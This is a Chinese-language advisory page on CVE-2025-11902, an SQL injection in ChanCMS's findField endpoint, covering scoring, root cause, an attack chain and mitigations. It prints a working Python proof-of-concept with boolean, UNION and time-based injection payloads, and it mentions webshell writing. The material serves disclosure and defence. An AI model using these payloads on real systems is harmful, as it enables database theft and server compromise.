IPBUF安全漏洞报告
English
CVE-2025-11902 CVSS 6.3 中危

CVE-2025-11902:ChanCMS findField接口SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11902
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yanyutao0402 ChanCMS

相关标签

SQL注入ChanCMSCVE-2025-11902CMS漏洞中危漏洞Web应用安全内容管理系统远程利用

漏洞概述

CVE-2025-11902是ChanCMS内容管理系统中存在的一个SQL注入漏洞,影响版本至3.3.2。该漏洞位于/cms/article/findField路径下的findField函数中,攻击者可通过操控参数cid实现SQL注入攻击。由于该漏洞可被远程利用,且攻击者仅需低权限即可发起攻击,无需用户交互,因此对部署该系统的服务器构成较大安全威胁。

根据CVSS 3.1评分标准,该漏洞评分为6.3分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低(PR:L),不需要用户交互(UI:N)。漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),意味着攻击者可能读取敏感数据、篡改数据库内容或对服务可用性造成一定影响。

值得注意的是,该漏洞的PoC(概念验证代码)已经公开披露,且供应商在漏洞披露前曾被联系但未做出任何回应,这进一步增加了利用该漏洞的风险。ChanCMS作为一款内容管理系统,通常部署在Web服务器上,一旦遭受SQL注入攻击,可能导致整个网站数据泄露、内容被篡改甚至服务器被完全控制。建议使用该系统的用户尽快采取防御措施。

技术细节

该SQL注入漏洞的根因在于ChanCMS v3.3.2及以下版本中,/cms/article/findField接口的findField函数未对用户输入的参数cid进行充分的过滤和参数化处理。当后端将cid参数直接拼接到SQL查询语句中执行时,攻击者可以通过构造特殊的SQL语句片段,绕过正常的查询逻辑,执行恶意SQL命令。

从技术层面分析,该漏洞的攻击流程如下:攻击者首先访问/cms/article/findField接口,通过GET或POST方式传入cid参数。由于缺乏输入验证,cid参数中的恶意SQL片段(如单引号、UNION SELECT语句、布尔盲注表达式等)会被直接嵌入到后端SQL查询中。攻击者可利用此漏洞进行以下操作:1)通过UNION查询读取数据库中的敏感信息(如管理员凭证、用户数据等);2)通过布尔盲注或时间盲注技术逐步提取数据库内容;3)利用SQL注入配合数据库特性(如MySQL的INTO OUTFILE)写入Webshell,获取服务器控制权;4)通过堆叠查询(stacked queries)执行INSERT/UPDATE/DELETE语句,篡改或删除数据。

由于漏洞利用仅需低权限(PR:L),攻击者可能通过注册普通用户账号或利用其他途径获取基础访问权限后即可发起攻击,进一步降低了攻击门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别暴露在互联网上的ChanCMS目标站点,确认目标系统版本是否在3.3.2及以下。
STEP 2
步骤2:获取低权限访问
由于漏洞利用仅需低权限(PR:L),攻击者可通过注册普通用户账号或利用其他公开接口获取基础访问权限。
STEP 3
步骤3:构造恶意Payload
攻击者针对/cms/article/findField接口的cid参数构造SQL注入Payload,如UNION查询、布尔盲注或时间盲注表达式。
STEP 4
步骤4:发起注入攻击
通过HTTP请求将恶意cid参数发送至目标服务器,绕过缺乏输入验证的findField函数,执行恶意SQL语句。
STEP 5
步骤5:数据提取与利用
利用SQL注入读取数据库中的管理员凭证、用户敏感数据等信息,或通过INTO OUTFILE写入Webshell获取服务器控制权。
STEP 6
步骤6:权限提升与持久化
利用获取的数据库权限或服务器访问权限进行横向移动,创建后门账户,实现对目标的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11902 ChanCMS findField SQL Injection PoC # Vulnerability: SQL Injection via 'cid' parameter in /cms/article/findField # Affected: ChanCMS <= 3.3.2 # Author: NarcherAlter import requests TARGET_URL = "http://target.com/cms/article/findField" def exploit_sql_injection(target_url, cid_payload): """ Exploit SQL injection in the 'cid' parameter of findField endpoint. """ # Basic SQL injection payload using UNION-based technique payload = cid_payload params = { "cid": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Body:\n{response.text[:2000]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def boolean_based_blind_sqli(target_url): """ Boolean-based blind SQL injection to extract database version. """ # Payload to test boolean-based blind injection payload = "1' AND 1=1-- -" # True condition resp_true = exploit_sql_injection(target_url, payload) payload = "1' AND 1=2-- -" # False condition resp_false = exploit_sql_injection(target_url, payload) if resp_true and resp_false: if len(resp_true.text) != len(resp_false.text): print("[+] Target is vulnerable to boolean-based blind SQL injection!") return True print("[-] Target may not be vulnerable or responses are identical.") return False def union_based_sqli(target_url): """ UNION-based SQL injection to extract data. """ # Determine number of columns first for i in range(1, 15): cols = ",".join([str(j) for j in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" resp = exploit_sql_injection(target_url, payload) if resp and resp.status_code == 200 and "error" not in resp.text.lower(): print(f"[+] Number of columns: {i}") break def time_based_blind_sqli(target_url): """ Time-based blind SQL injection. """ import time payload = "1' AND SLEEP(5)-- -" start = time.time() exploit_sql_injection(target_url, payload) elapsed = time.time() - start if elapsed >= 5: print("[+] Target is vulnerable to time-based blind SQL injection!") return True return False if __name__ == "__main__": print(f"[*] Testing CVE-2025-11902 against {TARGET_URL}") print("[*] Test 1: Boolean-based blind SQL injection") boolean_based_blind_sqli(TARGET_URL) print("\n[*] Test 2: UNION-based SQL injection") union_based_sqli(TARGET_URL) print("\n[*] Test 3: Time-based blind SQL injection") time_based_blind_sqli(TARGET_URL)

影响范围

yanyutao0402 ChanCMS <= 3.3.2

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)在Web服务器或反向代理层面部署WAF规则,拦截针对/cms/article/findField接口的SQL注入攻击特征(如UNION、SELECT、SLEEP等关键字);2)修改应用代码,对cid参数进行严格的类型检查和输入过滤,仅允许数字类型输入;3)限制/cms/article/findField接口的访问权限,要求更高权限才能调用;4)监控数据库日志,及时发现异常的SQL查询行为;5)考虑临时禁用相关功能模块以降低攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表